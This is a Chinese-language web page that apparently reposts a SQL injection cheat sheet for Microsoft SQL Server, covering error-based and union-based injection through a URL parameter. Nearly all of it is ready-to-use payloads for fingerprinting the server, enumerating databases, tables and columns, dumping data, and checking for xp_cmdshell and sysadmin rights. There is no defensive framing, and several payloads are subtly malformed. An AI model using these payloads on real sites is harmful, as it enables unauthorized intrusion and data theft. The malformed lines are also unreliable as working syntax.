Mssql显错和不显错模式下的注入脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

   

    Mssql注释符:

    #   - -

    显错模式的:

    判断是否支持多行

    ;declare @x int–

    查看当前数据库版本

    URL?id=13 and @@version>0–

    查看当前连接数据库用户

    URL?id=13 and user>0–

    查看当前数据库名

    URL?id=13 and db_name()>0–

    爆数据库名

    URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))–

    //dbid<7的为系统库名

    爆当前数据库表名

    URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’))–

    URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′)))–

    爆其他数据库表名

    URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ ))–

    URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in (‘表名1′,’表名2′)))–

    爆字段名

    URL?id=13 having 1=1–

    URL?id=13 group by 表名.字段名1,字段名2 having 1=1–

    爆其他表的字段名

    URL?id=13 select * from 表名 having 1=1–

    URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1–

    爆数据

    URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))–

    URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′))–

    URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!=’数据1′ and 字段名!=’数据2′–

    //也可以用where语句

    不显错模式

    URL?id=13 order by 字段数

    URL?id=13 and 1=2 union select ?,?,?,?,?–

    查询数据库版本和系统版本

    URL?id=13 and 1=2 union select ?,?,?,@@version–

    查询数据库用户名

    URL?id=13 and 1=2 union select ?,?,?,(select user)–

    URL?id=13 and 1=2 union select ?,?,?,(select system_user)–

    查询主机名

    URL?id=13 and 1=2 union select ?,?,?,(select host_name())–

    查询数据库名

    URL?id=13 and 1=2 union select ?,?,?,(select db_name())–

    判断存储扩展xp_cmdshell

    URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’)–

    //1为存在,0为不存在

    判断当前数据库用户权限

    URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember(‘sysadmin’))–

    查询数据库名

    URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)–

    //dbid<7的为系统数据库名

    查询数据库表名

    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’)–

    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’U’ and name not in (‘表名1′,’表名2′))–

    查询字段名

    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’)–

    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id(‘表名’) and name not in(‘字段名1′,’字段名2′)–

    查询数据

    URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)–

    URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in (‘数据1′,’数据2′)–

    其他的语句

    爆表名

    URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype=’u’ and name not in(select top 0 name from sysobjects where xtype=’u’)) from sysobjects–

    //接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了

    爆其他数据库表名

    URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype=’u’ and name not in(select top 0 name from [数据库名]..sysobjects where xtype=’u’)

    爆字段

    URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name=’表名’) and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name=’表名’))) from sysobjects–

    //从0开始增加第二个top N的数字就可以遍历admin表的字段名了

    查询数据

    URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)–

最新文章